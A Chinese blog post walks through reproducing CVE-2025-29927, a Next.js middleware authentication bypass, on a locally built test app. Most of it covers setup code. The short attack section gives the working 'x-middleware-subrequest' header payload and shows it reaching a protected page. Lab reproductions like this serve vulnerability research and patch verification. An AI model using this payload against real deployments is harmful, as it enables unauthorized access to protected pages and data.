【漏洞复现】Next.js中间件权限绕过漏洞 CVE-2025-29927

发布于:2025-03-25 ⋅ 阅读:(42) ⋅ 点赞:(0)

什么是Next.js?

Next.js 是由 Vercel 开发的基于 React 的现代 Web 应用框架,具备前后端一体的开发能力,广泛用于开发 Server-side Rendering (SSR) 和静态站点生成(SSG)项目。Next.js 支持传统的 Node.js 模式和基于边缘计算(Edge Function)的运行模式,适用于轻量、高性能的服务逻辑。 

首先百度,这是个啥玩意,找到官网,进入看看

创建 Next.js 应用程序 | Learn Next.js | Next.js中文网 

不用多说了,介绍得贼详细!

环境搭建

1、部署Next.js

漏洞复现,首先需要搭建环境,刚好官网有入门教程,按照教程走起!

首先安装Node.js ,下载链接:Node.js — Run JavaScript Everywhere

 安装完Node.js,由于我是windows系统,按照教程继续安装Git Bash,并运行

至此,关闭官网教程,下一步安装符合漏洞版本的Next.js,漏洞版本如下:

11.1.4 <= Next.js <= 13.5.6
14.0.0 <= Next.js <= 14.2.24
15.0.0 <= Next.js <= 15.2.2

有请ChatGPT,AI时代我就特别好问好学

直接复制如下命令,安装14.1.1

npm install next@14.1.1

安装完成

然后运行

npm install

启动Next.js项目

npm run dev

启动时可能出现如图报错

问题抛给GPT解决

完善配置文件 package.json 

{
  "dependencies": {
    "next": "^14.1.1"
  },
  "scripts": {
  "dev": "next dev",
  "build": "next build",
  "start": "next start"
  }
}

再次启动,出现新的报错

问题抛给GPT

继续完善

成功启动

2、配置利用场景

【复现】Next.js 中间件认证绕过漏洞(CVE-2025-29927)风险通告 

近日,赛博昆仑CERT监测到Next.js 中间件认证绕过漏洞(CVE-2025-29927)的漏洞情报。当配置为使用中间件进行身份验证和授权时,未经过身份认证的攻击者可以绕过Next.js 应用程序中的授权检查。

把配置的任务交给GPT

首先创建中间件middleware.js ,定义受保护的路径。放在根目录,与package.json同级

import { NextResponse } from "next/server";

// 定义受保护的路径
const protectedRoutes = ["/dashboard", "/admin"];

export function middleware(req) {
  const { pathname } = req.nextUrl;

  // 获取用户的身份令牌(可以从 Cookie、Session 或 Headers 获取)
  const token = req.cookies.get("authToken")?.value;

  // 如果是受保护路径但没有 token,则重定向到登录页
  if (protectedRoutes.includes(pathname) && !token) {
    return NextResponse.redirect(new URL("/login", req.url));
  }

  return NextResponse.next();
}

// 只应用于某些路由
export const config = {
  matcher: ["/dashboard/:path*", "/admin/:path*"], // 保护的路由
};

其次,创建一个保护页面dashboard.js,放到pages目录下

export default function Dashboard() {
  return <h1>这是受保护的 Dashboard 页面</h1>;
}

最后,设置登录逻辑,创建一个login页面 (其实,可以不用,顶多404呗,不影响复现)

import { useRouter } from "next/navigation";

export default function LoginPage() {
  const router = useRouter();

  const handleLogin = async () => {
    // 假设用户成功登录
    document.cookie = "authToken=your_token; path=/"; // 设置身份验证 Cookie
    router.push("/dashboard"); // 跳转到受保护页面
  };

  return (
    <div>
      <h1>请登录</h1>
      <button onClick={handleLogin}>登录</button>
    </div>
  );
}

一切就绪,测试一下,访问dashboard页面,没有授权,正常跳转到登录页面

漏洞复现

漏洞通告 | Next.js middleware 权限绕过漏洞 

当在 next.js应用中使用middleware 时,在请求头中加入特定的 x-middleware-subrequest 请求头即可绕过 middleware 中的逻辑。例如当使用 middleware 进行身份验证与授权,可利用该漏洞绕过身份验证。 

那去网上搜一下公开的POC,大厂CERT漏洞公告通常不会给出来,复现截图关键部位基本都打码,需要自己去网上搜寻一下,以下是我找到的公开POC

CVE-2025-29927: Next.js Middleware Authorization Bypass - Technical Analysis — ProjectDiscovery Blog

如图,不同版本,POC还不太一样

根据我的版本,找到POC

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

先发一个正常的包,返回307跳转

使用POC,返回200,未授权访问dashboard受保护的页面,漏洞复现完成!